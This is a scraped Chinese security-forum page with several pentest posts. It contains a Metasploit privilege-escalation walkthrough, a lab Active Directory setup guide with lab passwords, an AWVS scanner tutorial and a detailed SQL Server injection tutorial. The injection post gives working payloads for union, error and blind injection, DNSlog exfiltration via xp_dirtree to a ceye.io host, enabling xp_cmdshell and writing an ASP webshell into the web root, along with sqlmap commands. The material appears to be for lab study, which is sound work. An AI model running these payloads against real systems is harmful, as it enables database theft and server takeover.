meterpreter > shell
C:\inetpub\wwwroot>systeminfo
(C:\inetpub\wwwroot>wmic qfe list) //这条命令也可以

将补丁号复制下来,粘贴到提权辅助页面上并查询(类似工具有很多)
https://bugs.hacking8.com/tiquan/
4.png

 
9、选择一个并利用
5.png
meterpreter > background
msf5 exploit(multi/handler) > search ms16-075
msf5 exploit(multi/handler) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 2
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit
7.png

 
可以看到,已经成功取得了System权限
 
第二种方法
我在服务器的WEB根目录下找到了数据库的用户名和密码
9.png

 
拿出我的Navicat Premium
8.png


连接上后,开启xp_cmdshell,执行whoami,发现默认是system权限,这也是一种提权的思路
 

 

搭建一个最简单的域环境

渗透测试flaray 发表了文章 • 0 个评论 • 37 次浏览 • 2019-07-16 17:18 • 来自相关话题

0x00 实验准备:
windows server 2008 r2 access注入环境
microsoft windows7 64位 旗舰版

0x01 搭建过程:
(1)配置静态IP
以服务器上的access注入环境开始搭建,将其作为域控制器。
    ip配置:
        192.168.10.169
        255.255.255.0
        192.168.10.250
    DNS:
        127.0.0.1
        114.114.114.114
要设置一个DNS指向本机,因为它后面是一个域控的角色。
 
域名设置:smile.online
 
目录服务还原模式的administrator密码:secevery0.0
(2)安装活动目录角色




点击"添加角色":




这里必须有两个条件:
    *Administrator强密码
    *配置静态IP
点击下一步:




勾选"Active Diretory域服务",然后下一步:




这里表明,后续会有安装DNS服务的过程,所以网上要先安装DNS的文章会导致域搭建失败,因为安装向导会创建一些DNS记录,以及查找域。
单击“下一步”:




安装就完了




(3)安装向导
打开"服务器管理器",找到Active Directory安装向导:




点击"dcpromo.exe"进入向导:




高级设置里可以配置更多细节,但如果快速搭建直接下一步:




这里“Windows NT 4.0兼容的加密算法”,指的是低版本的SMBv1客户端,在进行NTLM网络认证的过程中采用的算法较为简单,能够轻易破解;其次,未升级到SMB v2的服务器可能会受到Pass The Hash的技术手段利用、MS17-010等漏洞的危害,为了后续的学习,我们直接选择下一步,暂时不去做加固。




目前我们只有一个域,所以直接选择第二项:“在新林中新建域”,在有域的情况下,可以将域纳入“林”中。多个域称之为“林”。




设置域名:




这个名称必须符合DNS对域名的名称标准规范,我们设置为smile.online:
点击下一步会检查是否域名冲突。




选择林功能级别:




为了保持向下兼容,我们选择Windows 2003的林功能级别,如果选择2008的,未来加入的域控制器必须是Windows 2008。
点击下一步,选择域功能级别,为了兼容性,我们也选择2003:




单击下一步,此时进入DNS服务器的安装过程:




由于在"smile.online"中没有委托关系,所以我们自建:




单击"是",进入选择数据库、日志、SYSQL的存放路径,这三个东西在红队目录中有相应的攻击手段和防御方法。




默认选择“下一步”,设置DC管理员(Administrator)密码:




单击“下一步”,可以看到刚才的设置:




这里你也可以导出设置,用于下次安装的时候自动配置。单击“下一步”就可以安装了。




勾选"重新启动"。之后就安装完成。默认使用域内账户Administrator登录(这里这个系统的原账户密码会被覆盖掉)。
登录后会弹出"初始化配置任务"窗口,这里有关本机的信息:




出现域,就代表搭建完成了。




0x02:加入域
打开一个Windows,=16pt首先保持能与域控进行通信




然后将当前主机的DNS服务器设置为域控主机的IP,IP设置为自动获取。




紧接着找到系统属性:




然后就是一直下一步,直到




到这个界面以后,切到域控环境,创建用户。
创建用户之前,要先修改windows server 2008的密码策略:
(1)修改用户密码复杂性








打开命令行界面,运行 gpupdate /force。




(2)由于管理员设置的策略,该磁盘处于脱机状态。[size=16]参考文章:https://www.cnblogs.com/MikeSunny/p/4863181.html

具体的解决步骤:使用DISKPART.exe命令,解除策略。
1、运行cmd
2、DISKPART.exe
3、DISKPART> san
4、DISKPART> san policy=onlineall 更改用于当前操作系统的san策略
5、DISKPART> list disk 列出所有磁盘的详细信息。
6、DISKPART> select disk 1 选择磁盘1
7、DISKPART> attributes disk clear readonly 清除磁盘的属性
8、DISKPART> online 查看online命令的用法
9、DISKPART> online disk 使所选磁盘联机[/size]








(3).磁盘初始化(windows 应该是通用的)
  右击"此电脑"---->管理----->磁盘管理然后就可以进行初始化了。




 域控主机上创建用户:
        zksmile
        Zksmile0.0




主要填写"用户名"即可:









下一步,创建完成。
 
然后对win7继续操作:




















这里授予权限的时候,设置为“Users”,不然后边很多东西操作不了。












此时客户机既能上网,也能处于域环境下。
一个最简单的域环境搭建完成。
 
0X03 总结
        域渗透属于内网渗透中一个重要的组成部分,通常情况下,某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。这个时候,一个域渗透的实验环境就显得很重要了,我们可以通过这个实验环境迅速熟悉域渗透的手法。
        本文借鉴于倾旋大佬的《快速搭建域环境》做出的实际上手搭建,但使用环境和原文的不同。
 
原文链接:https://payloads.online/archivers/2019-04-13/1 查看全部
0x00 实验准备
windows server 2008 r2 access注入环境
microsoft windows7 64位 旗舰版


0x01 搭建过程
(1)配置静态IP
以服务器上的access注入环境开始搭建,将其作为域控制器。
    ip配置:
        192.168.10.169
        255.255.255.0
        192.168.10.250
    DNS:
        127.0.0.1
        114.114.114.114
要设置一个DNS指向本机,因为它后面是一个域控的角色。
 
域名设置:smile.online
 

目录服务还原模式的administrator密码:secevery0.0
(2)安装活动目录角色
1.png

点击"添加角色":
2.png

这里必须有两个条件:
    *Administrator强密码
    *配置静态IP
点击下一步:
3.png

勾选"Active Diretory域服务",然后下一步:
4.png

这里表明,后续会有安装DNS服务的过程,所以网上要先安装DNS的文章会导致域搭建失败,因为安装向导会创建一些DNS记录,以及查找域。
单击“下一步”:
5.png

安装就完了
6.png

(3)安装向导
打开"服务器管理器",找到Active Directory安装向导:
7.png

点击"dcpromo.exe"进入向导:
8.png

高级设置里可以配置更多细节,但如果快速搭建直接下一步:
9.png

这里“Windows NT 4.0兼容的加密算法”,指的是低版本的SMBv1客户端,在进行NTLM网络认证的过程中采用的算法较为简单,能够轻易破解;其次,未升级到SMB v2的服务器可能会受到Pass The Hash的技术手段利用、MS17-010等漏洞的危害,为了后续的学习,我们直接选择下一步,暂时不去做加固。
10.png

目前我们只有一个域,所以直接选择第二项:“在新林中新建域”,在有域的情况下,可以将域纳入“林”中。多个域称之为“林”。
11.png

设置域名:
12.png

这个名称必须符合DNS对域名的名称标准规范,我们设置为smile.online:
点击下一步会检查是否域名冲突。
13.png

选择林功能级别:
14.png

为了保持向下兼容,我们选择Windows 2003的林功能级别,如果选择2008的,未来加入的域控制器必须是Windows 2008。
点击下一步,选择域功能级别,为了兼容性,我们也选择2003:
15.png

单击下一步,此时进入DNS服务器的安装过程:
16.png

由于在"smile.online"中没有委托关系,所以我们自建:

17.png

单击"是",进入选择数据库、日志、SYSQL的存放路径,这三个东西在红队目录中有相应的攻击手段和防御方法。

18.png

默认选择“下一步”,设置DC管理员(Administrator)密码:

19.png

单击“下一步”,可以看到刚才的设置:

20.png

这里你也可以导出设置,用于下次安装的时候自动配置。单击“下一步”就可以安装了。

21.png

勾选"重新启动"。之后就安装完成。默认使用域内账户Administrator登录(这里这个系统的原账户密码会被覆盖掉)。
登录后会弹出"初始化配置任务"窗口,这里有关本机的信息:

22.png

出现域,就代表搭建完成了。
22.png

0x02:加入域
打开一个Windows,=16pt首先保持能与域控进行通信

23.png

然后将当前主机的DNS服务器设置为域控主机的IP,IP设置为自动获取。

24.png

紧接着找到系统属性:

25.png

然后就是一直下一步,直到

26.png

到这个界面以后,切到域控环境,创建用户。

创建用户之前,要先修改windows server 2008的密码策略:
(1)修改用户密码复杂性

1---.png

2---.png

打开命令行界面,运行 gpupdate /force。
3---.png

(2)由于管理员设置的策略,该磁盘处于脱机状态。
[size=16]参考文章:https://www.cnblogs.com/MikeSunny/p/4863181.html

具体的解决步骤:使用DISKPART.exe命令,解除策略。
1、运行cmd
2、DISKPART.exe
3、DISKPART> san
4、DISKPART> san policy=onlineall 更改用于当前操作系统的san策略
5、DISKPART> list disk 列出所有磁盘的详细信息。
6、DISKPART> select disk 1 选择磁盘1
7、DISKPART> attributes disk clear readonly 清除磁盘的属性
8、DISKPART> online 查看online命令的用法
9、DISKPART> online disk 使所选磁盘联机[/size]

1---.jpg

2---.jpg

(3).磁盘初始化(windows 应该是通用的)
  右击"此电脑"---->管理----->磁盘管理然后就可以进行初始化了。
1---.png

 域控主机上创建用户:
        zksmile
        Zksmile0.0

27.png

主要填写"用户名"即可:

28.png


29.png

下一步,创建完成。
 
然后对win7继续操作:

30.png

31.png

32.png

33.png

34.png

这里授予权限的时候,设置为“Users”,不然后边很多东西操作不了。

35.png

36.png

37.png

此时客户机既能上网,也能处于域环境下。
一个最简单的域环境搭建完成。

 
0X03 总结
        域渗透属于内网渗透中一个重要的组成部分,通常情况下,某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。这个时候,一个域渗透的实验环境就显得很重要了,我们可以通过这个实验环境迅速熟悉域渗透的手法。
        本文借鉴于倾旋大佬的《快速搭建域环境》做出的实际上手搭建,但使用环境和原文的不同。
 
原文链接:https://payloads.online/archivers/2019-04-13/1

AWVS 11使用

Web安全渗透flaray 发表了文章 • 0 个评论 • 94 次浏览 • 2019-07-11 17:57 • 来自相关话题

0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型




0X02:Targets:目标。
点击Add Target添加目标。




0x03:General:一般扫描。






基础设置完成点击"scan"开始扫描目标网站。




























使用登录序列记录器得到了登录凭证












基础设置完成点击"scan"开始扫描目标网站




扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告






0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

  查看全部
0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型
045ccf055f52af7da776d28d15a08c5d_副本.png

0X02:Targets:目标。
点击Add Target添加目标。
Image.png

0x03:General:一般扫描。

TIM截图20190715101025.png


基础设置完成点击"scan"开始扫描目标网站。
Image.png

Image.png


20180110232433713599_副本.png


20180110232433717505_副本.png


20180110232433718482_副本.png


20180110232433720435.png

使用登录序列记录器得到了登录凭证
Image.png

812dfb006a12760c7e3c292d02ef3278_副本.png

Image.png

基础设置完成点击"scan"开始扫描目标网站
Image.png

扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告

4271e2d0e4cf97d8ae6e4a75e8bae4a6_副本.png


0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

 

SQL server 注入小结

Web安全渗透llpkk 发表了文章 • 0 个评论 • 193 次浏览 • 2019-07-10 16:58 • 来自相关话题

1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入
4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 
 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。

系统库简述:
master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。tempdb 它为临时表和其他临时工作提供了一个存储区。2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名select *from master..sysyatabases


这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:select name from master..sysdatabases


 (2)查询数据库中所有的表名select name from master..sysobjects where Xtypee = 'x'


(3)查询表中所有的列名select * from databases..table例如:select * from test..test


(4)查询字段select * from test..syscolumns where xtype=167


Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格/*--    常用;(2)空白格字符(多用来绕过WAF)01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20/**/(3)常用运算符号+ 加法运算-   减法运算* 乘法运算/           除法运算& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0(4)基础信息探测@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名


②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:


这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列





查询出有4列后进行联合查询注入 ,首先查出所有数据库名。


 之后爆出test库下的所有表


 爆出message表下的所有字段


 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 


爆出列名id,我们利用group by构造出如下语句爆出下一个列名


之后依次爆出所有的列名之后页面就会返回正常页面


 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master





 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为testhttp://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


查出test的各个表名http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


可以看出表message,test,tt_tmp


 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshellexec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:找到报错页面得到物理路径,如404页面。查找网站文件并把路径写入到临时表当中
 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。






2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp





 
Sqlmap命令: python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​




 
之后我们将char.asp文件的路径写入到该字段当中;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';




 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间

Sqlmap命令:python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump




 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察






返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。






成功写入一句话木马,尝试才到连接










成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
  查看全部
1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询

2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入

4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选

5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 

 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。


系统库简述:
  • master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  • msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
  • tempdb 它为临时表和其他临时工作提供了一个存储区。
2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名
select *from master..sysyatabases
图片1.png
这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:
select name from master..sysdatabases
图片2.png
 (2)查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x' 
图片3.png
(3)查询表中所有的列名
select * from databases..table
例如:select * from test..test
图片4.png
(4)查询字段
select * from test..syscolumns where xtype=167
图片4.png
Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格
  • /*
  • --    常用
  • ;
(2)空白格字符(多用来绕过WAF)
  • 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • /**/
(3)常用运算符号
  • + 加法运算
  • -   减法运算
  • * 乘法运算
  • /           除法运算
  • & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
  • | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
  • ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
(4)基础信息探测
@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa
   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名
图片6.png
②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 
select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:
图片7.png
这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列
图片8.png
图片9.png
查询出有4列后进行联合查询注入 ,首先查出所有数据库名。
图片10.png
 之后爆出test库下的所有表
图片11.png
 爆出message表下的所有字段
图片12.png
 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 
图片13.png
爆出列名id,我们利用group by构造出如下语句爆出下一个列名
图片14.png
之后依次爆出所有的列名之后页面就会返回正常页面
图片15.png
 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:
and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句
;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;
演示:查出第一个数据库的库名为master
图片16.png
图片17.png
 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为test
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片18.png
查出test的各个表名
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片19.png
可以看出表message,test,tt_tmp
图片20.png
 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell
;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'
如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'
开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:
  • 找到报错页面得到物理路径,如404页面。
  • 查找网站文件并把路径写入到临时表当中

 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。

图片21.png


2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​
;use test;create table tt_tmp (tmp1 varchar(1000));
创建完成之后使用sqlmap可以看到成功创建表temp

图片22.png

 
Sqlmap命令: 
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​

图片23.png

 
之后我们将char.asp文件的路径写入到该字段当中
